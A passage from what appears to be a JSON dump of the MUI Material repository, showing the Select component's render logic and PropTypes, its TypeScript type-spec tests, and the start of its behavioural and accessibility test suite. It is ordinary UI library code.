onOpen,\n    open,\n    renderValue,\n    SelectDisplayProps,\n    variant: variantProp = 'outlined',\n    ...other\n  } = props;\n\n  const inputComponent = native ? NativeSelectInput : SelectInput;\n\n  const muiFormControl = useFormControl();\n  const fcs = formControlState({\n    props,\n    muiFormControl,\n    states: ['variant', 'error'],\n  });\n\n  const variant = fcs.variant || variantProp;\n\n  const ownerState = { ...props, variant, classes: classesProp };\n  const classes = useUtilityClasses(ownerState);\n  const { root, ...restOfClasses } = classes;\n\n  const InputComponent =\n    input ||\n    {\n      standard: <StyledInput ownerState={ownerState} />,\n      outlined: <StyledOutlinedInput label={label} ownerState={ownerState} />,\n      filled: <StyledFilledInput ownerState={ownerState} />,\n    }[variant];\n\n  const inputComponentRef = useForkRef(ref, getReactElementRef(InputComponent));\n\n  return (\n    <React.Fragment>\n      {React.cloneElement(InputComponent, {\n        // Most of the logic is implemented in `SelectInput`.\n        // The `Select` component is a simple API wrapper to expose something better to play with.\n        inputComponent,\n        inputProps: {\n          children,\n          error: fcs.error,\n          IconComponent,\n          variant,\n          type: undefined, // We render a select. We can ignore the type provided by the `Input`.\n          multiple,\n          ...(native\n            ? { id }\n            : {\n                autoWidth,\n                defaultOpen,\n                displayEmpty,\n                labelId,\n                MenuProps,\n                onClose,\n                onOpen,\n                open,\n                renderValue,\n                SelectDisplayProps: { id, ...SelectDisplayProps },\n              }),\n          ...inputProps,\n          classes: inputProps ? deepmerge(restOfClasses, inputProps.classes) : restOfClasses,\n          ...(input ? input.props.inputProps : {}),\n        },\n        ...(((multiple && native) || displayEmpty) && variant === 'outlined'\n          ? { notched: true }\n          : {}),\n        ref: inputComponentRef,\n        className: clsx(InputComponent.props.className, className, classes.root),\n        // If a custom input is provided via 'input' prop, do not allow 'variant' to be propagated to it's root element. See https://github.com/mui/material-ui/issues/33894.\n        ...(!input && { variant }),\n        ...other,\n      })}\n    </React.Fragment>\n  );\n});\n\nSelect.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * If `true`, the width of the popover will automatically be set according to the items inside the\n   * menu, otherwise it will be at least the width of the select input.\n   * @default false\n   */\n  autoWidth: PropTypes.bool,\n  /**\n   * The option elements to populate the select with.\n   * Can be some `MenuItem` when `native` is false and `option` when `native` is true.\n   *\n   * ⚠️The `MenuItem` elements **must** be direct descendants when `native` is false.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   * @default {}\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the component is initially open. Use when the component open state is not controlled (i.e. the `open` prop is not defined).\n   * You can only use it when the `native` prop is `false` (default).\n   * @default false\n   */\n  defaultOpen: PropTypes.bool,\n  /**\n   * The default value. Use when the component is not controlled.\n   */\n  defaultValue: PropTypes.any,\n  /**\n   * If `true`, a value is displayed even if no items are selected.\n   *\n   * In order to display a meaningful value, a function can be passed to the `renderValue` prop which\n   * returns the value to be displayed when no items are selected.\n   *\n   * ⚠️ When using this prop, make sure the label doesn't overlap with the empty displayed value.\n   * The label should either be hidden or forced to a shrunk state.\n   * @default false\n   */\n  displayEmpty: PropTypes.bool,\n  /**\n   * The icon that displays the arrow.\n   * @default ArrowDropDownIcon\n   */\n  IconComponent: PropTypes.elementType,\n  /**\n   * The `id` of the wrapper element or the `select` element when `native`.\n   */\n  id: PropTypes.string,\n  /**\n   * An `Input` element; does not have to be a material-ui specific `Input`.\n   */\n  input: PropTypes.element,\n  /**\n   * [Attributes](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/input#attributes) applied to the `input` element.\n   * When `native` is `true`, the attributes are applied on the `select` element.\n   */\n  inputProps: PropTypes.object,\n  /**\n   * See [OutlinedInput#label](https://mui.com/material-ui/api/outlined-input/#props)\n   */\n  label: PropTypes.node,\n  /**\n   * The ID of an element that acts as an additional label. The Select will\n   * be labelled by the additional label and the selected value.\n   */\n  labelId: PropTypes.string,\n  /**\n   * Props applied to the [`Menu`](https://mui.com/material-ui/api/menu/) element.\n   */\n  MenuProps: PropTypes.object,\n  /**\n   * If `true`, `value` must be an array and the menu will support multiple selections.\n   * @default false\n   */\n  multiple: PropTypes.bool,\n  /**\n   * If `true`, the component uses a native `select` element.\n   * @default false\n   */\n  native: PropTypes.bool,\n  /**\n   * Callback fired when a menu item is selected.\n   *\n   * @param {SelectChangeEvent<Value>} event The event source of the callback.\n   * You can pull out the new value by accessing `event.target.value` (any).\n   * **Warning**: This is a generic event, not a change event, unless the change event is caused by browser autofill.\n   * @param {object} [child] The react element that was selected when `native` is `false` (default).\n   */\n  onChange: PropTypes.func,\n  /**\n   * Callback fired when the component requests to be closed.\n   * Use it in either controlled (see the `open` prop), or uncontrolled mode (to detect when the Select collapses).\n   *\n   * @param {object} event The event source of the callback.\n   */\n  onClose: PropTypes.func,\n  /**\n   * Callback fired when the component requests to be opened.\n   * Use it in either controlled (see the `open` prop), or uncontrolled mode (to detect when the Select expands).\n   *\n   * @param {object} event The event source of the callback.\n   */\n  onOpen: PropTypes.func,\n  /**\n   * If `true`, the component is shown.\n   * You can only use it when the `native` prop is `false` (default).\n   */\n  open: PropTypes.bool,\n  /**\n   * Render the selected value.\n   * You can only use it when the `native` prop is `false` (default).\n   *\n   * @param {any} value The `value` provided to the component.\n   * @returns {ReactNode}\n   */\n  renderValue: PropTypes.func,\n  /**\n   * Props applied to the clickable div element.\n   */\n  SelectDisplayProps: PropTypes.object,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The `input` value. Providing an empty string will select no options.\n   * Set to an empty string `''` if you don't want any of the available options to be selected.\n   *\n   * If the value is an object it must have reference equality with the option in order to be selected.\n   * If the value is not an object, the string representation must match with the string representation of the option in order to be selected.\n   */\n  value: PropTypes.oneOfType([PropTypes.oneOf(['']), PropTypes.any]),\n  /**\n   * The variant to use.\n   * @default 'outlined'\n   */\n  variant: PropTypes.oneOf(['filled', 'outlined', 'standard']),\n};\n\nSelect.muiName = 'Select';\n\nexport default Select;\n"
  },
  {
    "path": "packages/mui-material/src/Select/Select.spec.tsx",
    "content": "import * as React from 'react';\nimport Select, { SelectChangeEvent, SelectProps } from '@mui/material/Select';\nimport MenuItem from '@mui/material/MenuItem';\nimport { createTheme } from '@mui/material/styles';\nimport { expectType } from '@mui/types';\n\nfunction genericValueTest() {\n  function handleChangeWithSameTypeAsSelect(event: SelectChangeEvent<number>) {}\n  <Select<number> onChange={handleChangeWithSameTypeAsSelect} />;\n\n  function handleChangeWithDifferentTypeFromSelect(\n    event: React.ChangeEvent<{ name?: string; value: string }>,\n  ) {}\n  <Select<number>\n    // @ts-expect-error\n    onChange={handleChangeWithDifferentTypeFromSelect}\n  />;\n\n  <Select<string>\n    // @ts-expect-error defaultValue should be a string\n    defaultValue={1}\n    // @ts-expect-error Value should be a string\n    value={10}\n  />;\n\n  <Select\n    onChange={(event) => {\n      function testString(value: string) {}\n      function testNumber(value: number) {}\n\n      testString(event.target.value);\n      // @ts-expect-error\n      testNumber(event.target.value);\n    }}\n    value=\"1\"\n  />;\n\n  <Select onChange={(event) => console.log(event.target.value)} value=\"1\">\n    <MenuItem value=\"1\" />\n    {/* Whoops. The value in onChange won't be a string */}\n    <MenuItem value={2} />\n  </Select>;\n\n  // notched prop should be available (inherited from OutlinedInputProps) and NOT throw typescript error\n  <Select notched />;\n\n  // disabledUnderline prop should be available (inherited from InputProps) and NOT throw typescript error\n  <Select disableUnderline />;\n\n  // Tests presence of `root` class in SelectClasses\n  const theme = createTheme({\n    components: {\n      MuiSelect: {\n        styleOverrides: {\n          root: {\n            borderRadius: '8px',\n          },\n        },\n      },\n    },\n  });\n\n  // tests deep slot prop forwarding up to the modal backdrop\n  <Select\n    MenuProps={{\n      slotProps: {\n        root: {\n          slotProps: {\n            backdrop: {\n              style: {\n                backgroundColor: 'transparent',\n              },\n            },\n          },\n        },\n      },\n    }}\n  />;\n\n  <Select variant=\"filled\" />;\n  <Select variant=\"standard\" />;\n  <Select variant=\"outlined\" />;\n  <Select />;\n\n  <Select variant=\"filled\" hiddenLabel />;\n  // @ts-expect-error hiddenLabel is not present in standard variant\n  <Select variant=\"standard\" hiddenLabel />;\n  // @ts-expect-error hiddenLabel is not present in outlined variant\n  <Select variant=\"outlined\" hiddenLabel />;\n  // @ts-expect-error hiddenLabel is not present in outlined variant\n  <Select hiddenLabel />;\n\n  const defaultProps: SelectProps<number> = {};\n  const outlinedProps: SelectProps<number> = {\n    variant: 'outlined',\n  };\n  const filledProps: SelectProps<number> = {\n    variant: 'filled',\n  };\n  const standardProps: SelectProps<number> = {\n    variant: 'standard',\n  };\n\n  <Select {...defaultProps} />;\n  <Select {...outlinedProps} />;\n  <Select {...filledProps} />;\n  <Select {...standardProps} />;\n  <Select<number> {...outlinedProps} />;\n  <Select<number> {...defaultProps} />;\n  <Select<number> {...filledProps} />;\n\n  const rawDefaultProps: SelectProps = {};\n  const rawOutlinedProps: SelectProps = {\n    variant: 'outlined',\n  };\n  const rawFilledProps: SelectProps = {\n    variant: 'filled',\n  };\n\n  <Select {...rawDefaultProps} />;\n  <Select {...rawOutlinedProps} />;\n  <Select {...rawFilledProps} />;\n\n  // @ts-expect-error hiddenLabel is not present in outlined variant\n  <Select {...defaultProps} hiddenLabel />;\n  // @ts-expect-error hiddenLabel is not present in outlined variant\n  <Select {...outlinedProps} hiddenLabel />;\n  <Select {...filledProps} hiddenLabel />;\n  // @ts-expect-error hiddenLabel is not present in standard variant\n  <Select {...standardProps} hiddenLabel />;\n\n  interface OtherProps {\n    otherProp?: number;\n  }\n\n  const SelectWrapper1 = <Value,>(props: SelectProps<Value> & OtherProps) => {\n    const { otherProp, ...materialSelectProps } = props;\n\n    return <Select<Value> {...materialSelectProps} />;\n  };\n\n  <SelectWrapper1 />;\n  <SelectWrapper1<number> variant=\"filled\" hiddenLabel />;\n  <SelectWrapper1 variant=\"filled\" hiddenLabel />;\n}\n\ntype Options<T> = { text: string; value: T } | T;\n\ntype Props<T> = (\n  | {\n      value: T;\n      multiple?: false;\n      onChange: (value: T) => void;\n    }\n  | {\n      value: T[];\n      multiple: true;\n      onChange: (value: T[]) => void;\n    }\n) & {\n  options: Options<T>[];\n};\n\n// test for https://github.com/mui/material-ui/issues/41375\nconst AppSelect = <T extends string>(props: Props<T>) => {\n  const getOptionText = (option: Options<T>) => {\n    if (typeof option === 'object') {\n      return option.text;\n    }\n    return option;\n  };\n\n  const getOptionValue = (option: Options<T>) => {\n    if (typeof option === 'object') {\n      return option.value;\n    }\n    return option;\n  };\n\n  return (\n    <Select\n      value={props.value}\n      multiple={props.multiple}\n      onChange={(event) => {\n        if (props.multiple) {\n          props.onChange(event.target.value as T[]);\n        } else {\n          props.onChange(event.target.value as T);\n        }\n      }}\n    >\n      {props.options.map((option, index) => (\n        <MenuItem key={index} value={getOptionValue(option)}>\n          {getOptionText(option)}\n        </MenuItem>\n      ))}\n    </Select>\n  );\n};\n\n// test for applying Select's static muiName property type to wrapper components\nAppSelect.muiName = Select.muiName;\n\n<Select<'option1' | 'option2'>\n  value=\"option1\"\n  onChange={(event) => {\n    expectType<'option1' | 'option2', typeof event.target.value>(event.target.value);\n  }}\n>\n  <MenuItem value=\"option1\" />\n  {/* Whoops. The value in onChange won't be a string */}\n  <MenuItem value=\"option2\" />\n</Select>;\n\n<Select<number | ''>\n  value={1}\n  onChange={(event) => {\n    expectType<number | '', typeof event.target.value>(event.target.value);\n  }}\n>\n  <MenuItem value={1} />\n  {/* Whoops. The value in onChange won't be a string */}\n  <MenuItem value={2} />\n</Select>;\n"
  },
  {
    "path": "packages/mui-material/src/Select/Select.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy, stub } from 'sinon';\nimport {\n  ErrorBoundary,\n  act,\n  createRenderer,\n  fireEvent,\n  screen,\n  reactMajor,\n  waitFor,\n} from '@mui/internal-test-utils';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport MenuItem, { menuItemClasses } from '@mui/material/MenuItem';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport InputBase from '@mui/material/InputBase';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport InputLabel from '@mui/material/InputLabel';\nimport Select from '@mui/material/Select';\nimport Divider from '@mui/material/Divider';\nimport { listClasses } from '@mui/material/List';\nimport { isJsdom } from '@mui/internal-test-utils/env';\nimport classes from './selectClasses';\nimport { nativeSelectClasses } from '../NativeSelect';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Select />', () => {\n  const { clock, render } = createRenderer({ clock: 'fake' });\n\n  describeConformance(<Select value=\"\" />, () => ({\n    classes,\n    inheritComponent: OutlinedInput,\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiSelect',\n    skip: ['componentProp', 'themeVariants', 'themeStyleOverrides'],\n  }));\n\n  describe('prop: inputProps', () => {\n    it('should be able to provide a custom classes property', () => {\n      render(\n        <Select\n          inputProps={{\n            classes: { select: 'select' },\n          }}\n          value=\"\"\n        />,\n      );\n      expect(document.querySelector(`.${classes.select}`)).to.have.class('select');\n    });\n  });\n\n  it('should be able to mount the component', () => {\n    const { container } = render(\n      <Select value={10}>\n        <MenuItem value=\"\">\n          <em>None</em>\n        </MenuItem>\n        <MenuItem value={10}>Ten</MenuItem>\n        <MenuItem value={20}>Twenty</MenuItem>\n        <MenuItem value={30}>Thirty</MenuItem>\n      </Select>,\n    );\n\n    expect(container.querySelector('input')).to.have.property('value', '10');\n  });\n\n  it('the trigger is in tab order', () => {\n    render(\n      <Select value=\"\">\n        <MenuItem value=\"\">None</MenuItem>\n      </Select>,\n    );\n\n    expect(screen.getByRole('combobox')).to.have.property('tabIndex', 0);\n  });\n\n  it('should accept null child', () => {\n    render(\n      <Select open value={10}>\n        {null}\n        <MenuItem value={10}>Ten</MenuItem>\n      </Select>,\n    );\n  });\n\n  ['', 0, false, undefined, NaN].forEach((value) =>\n    it(`should support conditional rendering with \"${value}\"`, () => {\n      render(\n        <Select open value={2}>\n          {value && <MenuItem value={1}>One</MenuItem>}\n          <MenuItem value={2}>Two</MenuItem>\n        </Select>,\n      );\n    }),\n  );\n\n  it('should have an input with [aria-hidden] by default', () => {\n    const { container } = render(\n      <Select value=\"10\">\n        <MenuItem value=\"10\">Ten</MenuItem>\n      </Select>,\n    );\n\n    expect(container.querySelector('input')).to.have.attribute('aria-hidden', 'true');\n  });\n\n  it('should ignore onBlur when the menu opens', async () => {\n    // mousedown calls focus while click opens moving the focus to an item\n    // this means the trigger is blurred immediately\n    const handleBlur = spy();\n\n    render(\n      <Select\n        onBlur={handleBlur}\n        value=\"\"\n        onMouseDown={(event) => {\n          // simulating certain platforms that focus on mousedown\n          if (event.defaultPrevented === false) {\n            event.currentTarget.focus();\n          }\n        }}\n      >\n        <MenuItem value=\"\">none</MenuItem>\n        <MenuItem value={10}>Ten</MenuItem>\n      </Select>,\n    );\n\n    const trigger = screen.getByRole('combobox');\n\n    fireEvent.mouseDown(trigger);\n\n    expect(handleBlur.callCount).to.equal(0);\n    expect(screen.getByRole('listbox')).not.to.equal(null);\n\n    const options = screen.getAllByRole('option');\n    fireEvent.mouseDown(options[0]);\n\n    await act(async () => {\n      options[0].click();\n    });\n\n    expect(handleBlur.callCount).to.equal(0);\n    expect(screen.queryByRole('listbox', { hidden: false })).to.equal(null);\n  });\n\n  it('options should have a data-value attribute', () => {\n    render(\n      <Select open value={10}>\n        <MenuItem value={10}>Ten</MenuItem>\n        <MenuItem value={20}>Twenty</MenuItem>\n      </Select>,\n    );\n    const options = screen.getAllByRole('option');\n\n    expect(options[0]).to.have.attribute('data-value', '10');\n    expect(options[1]).to.have.attribute('data-value', '20');\n  });\n\n  [' ', 'ArrowUp', 'ArrowDown', 'Enter'].forEach((key) => {\n    it(`should open menu when pressed ${key} key on select`, async () => {\n      render(\n        <Select value=\"\">\n          <MenuItem value=\"\">none</MenuItem>\n        </Select>,\n      );\n      const trigger = screen.getByRole('combobox');\n      await act(async () => {\n        trigger.focus();\n      });\n\n      fireEvent.keyDown(trigger, { key });\n      expect(screen.getByRole('listbox', { hidden: false })).not.to.equal(null);\n\n      fireEvent.keyUp(screen.getAllByRole('option')[0], { key });\n      expect(screen.getByRole('listbox', { hidden: false })).not.to.equal(null);\n    });\n  });\n\n  it('should pass \"name\" as part of the event.target for onBlur', async () => {\n    const handleBlur = stub().callsFake((event) => event.target.name);\n\n    render(\n      <Select onBlur={handleBlur} name=\"blur-testing\" value=\"\">\n        <MenuItem value=\"\">none</MenuItem>\n      </Select>,\n    );\n\n    const button = screen.getByRole('combobox');\n    await act(async () => {\n      button.focus();\n      button.blur();\n    });\n\n    expect(handleBlur.callCount).to.equal(1);\n    expect(handleBlur.firstCall.returnValue).to.equal('blur-testing');\n  });\n\n  it('should call onClose when the backdrop is clicked', async () => {\n    const handleClose = spy();\n\n    render(\n      <Select\n        MenuProps={{ slotProps: { backdrop: { 'data-testid': 'backdrop' } } }}\n        onClose={handleClose}\n        open\n        value=\"\"\n      >\n        <MenuItem value=\"\">none</MenuItem>\n      </Select>,\n    );\n\n    await act(async () => {\n      screen.getByTestId('backdrop').click();\n    });\n\n    expect(handleClose.callCount).to.equal(1);\n  });\n\n  it('should call onClose when the same option is selected', () => {\n    const handleChange = spy();\n    const handleClose = spy();\n    render(\n      <Select open onChange={handleChange} onClose={handleClose} value=\"second\">\n        <MenuItem value=\"first\" />\n        <MenuItem value=\"second\" />\n      </Select>,\n    );\n\n    screen.getByRole('option', { selected: true }).click();\n\n    expect(handleChange.callCount).to.equal(0);\n    expect(handleClose.callCount).to.equal(1);\n  });\n\n  it('should focus select when its label is clicked', () => {\n    render(\n      <React.Fragment>\n        <InputLabel id=\"my$label\" data-testid=\"label\" />\n        <Select value=\"\" labelId=\"my$label\" />\n      </React.Fragment>,\n    );\n\n    fireEvent.click(screen.getByTestId('label'));\n\n    expect(screen.getByRole('combobox')).toHaveFocus();\n  });\n\n  it('should focus list if no selection', () => {\n    render(<Select value=\"\" autoFocus />);\n\n    fireEvent.mouseDown(screen.getByRole('combobox'));\n\n    // TODO not matching WAI-ARIA authoring practices. It should focus the first (or selected) item.\n    expect(screen.getByRole('listbox')).toHaveFocus();\n  });\n\n  describe('prop: onChange', () => {\n    it('should get selected element from arguments', async () => {\n      const onChangeHandler = spy();\n\n      render(\n        <Select onChange={onChangeHandler} value=\"0\">\n          <MenuItem value=\"0\" />\n          <MenuItem value=\"1\" />\n          <MenuItem value=\"2\" />\n        </Select>,\n      );\n\n      fireEvent.mouseDown(screen.getByRole('combobox'));\n      await act(async () => {\n        screen.getAllByRole('option')[1].click();\n      });\n\n      expect(onChangeHandler.calledOnce).to.equal(true);\n      const selected = onChangeHandler.args[0][1];\n      expect(React.isValidElement(selected)).to.equal(true);\n    });\n\n    it('should call onChange before onClose', async () => {\n      const eventLog = [];\n      const onChangeHandler = spy(() => eventLog.push('CHANGE_EVENT'));\n      const onCloseHandler = spy(() => eventLog.push('CLOSE_EVENT'));\n\n      render(\n        <Select onChange={onChangeHandler} onClose={onCloseHandler} value=\"0\">\n          <MenuItem value=\"0\" />\n          <MenuItem value=\"1\" />\n        </Select>,\n      );\n\n      fireEvent.mouseDown(screen.getByRole('combobox'));\n      await act(async () => {\n        screen.getAllByRole('option')[1].click();\n      });\n\n      expect(eventLog).to.deep.equal(['CHANGE_EVENT', 'CLOSE_EVENT']);\n    });\n\n    it('should not be called if selected element has the current value (value did not change)', async () => {\n      const onChangeHandler = spy();\n\n      render(\n        <Select onChange={onChangeHandler} value=\"1\">\n          <MenuItem value=\"0\" />\n          <MenuItem value=\"1\" />\n          <MenuItem value=\"2\" />\n        </Select>,\n      );\n\n      fireEvent.mouseDown(screen.getByRole('combobox'));\n      await act(async () => {\n        screen.getAllByRole('option')[1].click();\n      });\n\n      expect(onChangeHandler.callCount).to.equal(0);\n    });\n  });\n\n  describe('prop: defaultOpen', () => {\n    it('should be open on mount', () => {\n      render(<Select defaultOpen value=\"\" />);\n      expect(screen.getByRole('combobox', { hidden: true })).to.have.attribute(\n        'aria-expanded',\n        'true',\n      );\n    });\n  });\n\n  describe('prop: value', () => {\n    it('should select the option based on the number value', () => {\n      render(\n        <Select open value={20}>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>,\n      );\n      const options = screen.getAllByRole('option');\n\n      expect(options[0]).not.to.have.attribute('aria-selected', 'true');\n      expect(options[1]).to.have.attribute('aria-selected', 'true');\n      expect(options[2]).not.to.have.attribute('aria-selected', 'true');\n    });\n\n    it('should select the option based on the string value', () => {\n      render(\n        <Select open value=\"20\">\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={20}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>,\n      );\n      const options = screen.getAllByRole('option');\n\n      expect(options[0]).not.to.have.attribute('aria-selected', 'true');\n      expect(options[1]).to.have.attribute('aria-selected', 'true');\n      expect(options[2]).not.to.have.attribute('aria-selected', 'true');\n    });\n\n    it('should select only the option that matches the object', () => {\n      const obj1 = { id: 1 };\n      const obj2 = { id: 2 };\n      render(\n        <Select open value={obj1}>\n          <MenuItem value={obj1}>1</MenuItem>\n          <MenuItem value={obj2}>2</MenuItem>\n        </Select>,\n      );\n      const options = screen.getAllByRole('option');\n\n      expect(options[0]).to.have.attribute('aria-selected', 'true');\n      expect(options[1]).not.to.have.attribute('aria-selected', 'true');\n    });\n\n    it('should be able to use an object', () => {\n      const value = {};\n\n      render(\n        <Select value={value}>\n          <MenuItem value=\"\">\n            <em>None</em>\n          </MenuItem>\n          <MenuItem value={10}>Ten</MenuItem>\n          <MenuItem value={value}>Twenty</MenuItem>\n          <MenuItem value={30}>Thirty</MenuItem>\n        </Select>,\n      );\n\n      expect(screen.getByRole('combobox')).to.have.text('Twenty');\n    });\n\n    describe('warnings', () => {\n      it('warns when the value is not present in any option', () => {\n        const errorMessage =\n          'MUI: You have provided an out-of-range value `20` for the select component.';\n\n        let expectedOccurrences = 2;\n\n        if (reactMajor >= 18) {\n          expectedOccurrences = 3;\n        }\n\n        expect(() =>\n          render(\n            <Select value={20}>\n              <MenuItem value={10}>Ten</MenuItem>\n              <MenuItem value={30}>Thirty</MenuItem>\n            </Select>,\n          ),\n        ).toWarnDev(Array(expectedOccurrences).fill(errorMessage));\n      });\n    });\n  });\n\n  it('should not have the selectable option selected when inital value provided is empty string on Select with ListSubHeader item', () => {\n    render(\n      <Select open value=\"\">\n        <ListSubheader>Category 1</ListSubheader>\n        <MenuItem value={10}>Ten</MenuItem>\n        <ListSubheader>Category 2</ListSubheader>\n        <MenuItem value={20}>Twenty</MenuItem>\n        <MenuItem value={30}>Thirty</MenuItem>\n      </Select>,\n    );\n\n    const options = screen.getAllByRole('option');\n    expect(options[1]).not.to.have.class(menuItemClasses.selected);\n  });\n\n  describe('SVG icon', () => {\n    it('should not present an SVG icon when native and multiple are specified', () => {\n      const { container } = render(\n        <Select native multiple value={[0, 1]}>\n          <option value={0}>Zero</option>\n          <option value={1}>One</option>\n          <option value={2}>Two</option>\n        </Select>,\n      );\n      expect(container.querySelector('svg')).to.equal(null);\n    });\n\n    it('should present an SVG icon', () => {\n      const { container } = render(\n        <Select native value={1}>\n          <option value={0}>Zero</option>\n          <option value={1}>One</option>\n          <option value={2}>Two</option>\n        </Select>,\n      );\n      expect(container.querySelector('svg')).toBeVisible();\n    });\n  });\n\n  describe('accessibility', () => {\n    it('sets aria-expanded=\"true\" when the listbox is displayed', () => {\n      render(<Select open value=\"\" />);\n\n      expect(screen.getByRole('combobox', { hidden: true })).to.have.attribute(\n        'aria-expanded',\n        'true',\n      );\n    });\n\n    it('ARIA 1.2: aria-expanded=\"false\" if the listbox isn\\'t displayed', () => {\n      render(<Select value=\"\" />);\n\n      expect(screen.getByRole('combobox')).to.have.attribute('aria-expanded', 'false');\n    });\n\n    it('sets aria-disabled=\"true\" when component is disabled', () => {\n      render(<Select disabled value=\"\" />);\n\n      expect(screen.getByRole('combobox')).to.have.attribute('aria-disabled', 'true');\n    });\n\n    it('sets disabled attribute in input when component is disabled', () => {\n      const { container } = render(<Select disabled value=\"\" />);\n\n      expect(container.querySelector('input')).to.have.property('disabled', true);\n    });\n\n    it('aria-disabled is not present if component is not disabled', () => {\n      render(<Select disabled={false} value=\"\" />);\n\n      expect(screen.getByRole('combobox')).not.to.have.attribute('aria-disabled');\n    });\n\n    it('sets aria-required=\"true\" when component is required', () => {\n      render(<Select required value=\"\" />);\n\n      expect(screen.getByRole('combobox')).to.have.attribute('aria-required', 'true');\n    });\n\n    it('aria-required is not present if component is not required', () => {\n      render(<Select required={false} value=\"\" />);\n\n      expect(screen.getByRole('combobox')).not.to.have.attribute('aria-required');\n    });\n\n    it('sets required attribute in input when component is required', () => {\n      const { container } = render(<Select required value=\"\" />);\n\n      expect(container.querySelector('input')).to.have.property('required', true);\n    });\n\n    it('sets aria-invalid=\"true\" when component is in the error state', () => {\n      render(<Select error value=\"\" />);\n\n      expect(screen.getByRole('combobox')).to.have.attribute('aria-invalid', 'true');\n    });\n\n    it('aria-invalid is not present if component is not in an error state', () => {\n      render(<Select value=\"\" />);\n\n      expect(screen.getByRole('combobox')).not.to.have.attribute('aria-invalid');\n    });\n\n    it('indicates that activating the button displays a listbox', () => {\n      render(<Select value=\"\" />);\n\n      expect(screen.getByRole('combobox')).to.have.attribute('aria-haspopup', 'listbox');\n    });\n\n    it('renders an element with listbox behavior', () => {\n      render(<Select open value=\"\" />);\n\n      expect(screen.getByRole('listbox')).toBeVisible();\n    });\n\n    it('indicates that input element has combobox role and aria-controls set to id of listbox', () => {\n      render(<Select open value=\"\" />);\n      const listboxId = screen.getByRole('listbox').id;\n\n      expect(screen.getByRole('combobox', { hidden: true })).to.have.attribute(\n        'aria-controls',\n        listboxId,\n      );\n    });\n\n    it('does not set aria-controls when closed', () => {\n      render(<Select open={false} value=\"\" />);\n      expect(screen.getByRole('combobox', { hidden: true })).to.not.have.attribute('aria-controls');\n    });\n\n    it('the listbox is focusable', async () => {\n      render(<Select open value=\"\" />);\n\n      await act(async () => {\n        screen.getByRole('listbox').focus();\n      });\n\n      expect(screen.getByRole('listbox')).toHaveFocus();\n    });\n\n    it('identifies each selectable element containing an option', () => {\n      render(\n        <Select open value=\"\">\n          <MenuItem value=\"1\">First</MenuItem>\n          <MenuItem value=\"2\">Second</MenuItem>\n        </Select>,\n      );\n\n      const options = screen.getAllByRole('option');\n      expect(options[0]).to.have.text('First');\n      expect(options[1]).to.have.text('Second');\n    });\n\n    it('indicates the selected option', () => {\n      render(\n        <Select open value=\"2\">\n          <MenuItem value=\"1\">First</MenuItem>\n          <MenuItem value=\"2\">Second</MenuItem>\n        </Select>,\n      );\n\n      expect(screen.getAllByRole('option')[1]).to.have.attribute('aria-selected', 'true');\n    });\n\n    describe('when the first child is a ListSubheader', () => {\n      it('first selectable option is focused to use the arrow', () => {\n        render(\n          <Select defaultValue=\"\" open>\n            <ListSubheader>Category 1</ListSubheader>\n            <MenuItem value={1}>Option 1</MenuItem>\n            <MenuItem value={2}>Option 2</MenuItem>\n            <ListSubheader>Category 2</ListSubheader>\n            <MenuItem value={3}>Option 3</MenuItem>\n            <MenuItem value={4}>Option 4</MenuItem>\n          </Select>,\n        );\n\n        const options = screen.getAllByRole('option');\n        expect(options[1]).to.have.attribute('tabindex', '0');\n\n        fireEvent.keyDown(options[1], { key: 'ArrowDown' });\n        fireEvent.keyDown(options[2], { key: 'ArrowDown' });\n        fireEvent.keyDown(options[4], { key: 'Enter' });\n\n        expect(options[4]).to.have.attribute('aria-selected', 'true');\n      });\n\n      describe('when also the second child is a ListSubheader', () => {\n        it('first selectable option is focused to use the arrow', () => {\n          render(\n            <Select defaultValue=\"\" open>\n              <ListSubheader>Empty category</ListSubheader>\n              <ListSubheader>Category 1</ListSubheader>\n              <MenuItem value={1}>Option 1</MenuItem>\n              <MenuItem value={2}>Option 2</MenuItem>\n              <ListSubheader>Category 2</ListSubheader>\n              <MenuItem value={3}>Option 3</MenuItem>\n              <MenuItem value={4}>Option 4</MenuItem>\n            </Select>,\n          );\n\n          const options = screen.getAllByRole('option');\n          expect(options[2]).to.have.attribute('tabindex', '0');\n\n          fireEvent.keyDown(options[2], { key: 'ArrowDown' });\n          fireEvent.keyDown(options[3], { key: 'ArrowDown' });\n          fireEvent.keyDown(options[5], { key: 'Enter' });\n\n          expect(options[5]).to.have.attribute('aria-selected', 'true');\n        });\n      });\n\n      describe('when the second child is null', () => {\n        it('first selectable option is focused to use the arrow', () => {\n          render(\n            <Select defaultValue=\"\" open>\n              <ListSubheader>Category 1</ListSubheader>\n              {null}\n              <MenuItem value={1}>Option 1</MenuItem>\n              <MenuItem value={2}>Option 2</MenuItem>\n              <ListSubheader>Category 2</ListSubheader>\n              <MenuItem value={3}>Option 3</MenuItem>\n              <MenuItem value={4}>Option 4</MenuItem>\n            </Select>,\n          );\n\n          const options = screen.getAllByRole('option');\n          expect(options[1]).to.have.attribute('tabindex', '0');\n\n          fireEvent.keyDown(options[1], { key: 'ArrowDown' });\n          fireEvent.keyDown(options[2], { key: 'ArrowDown' });\n          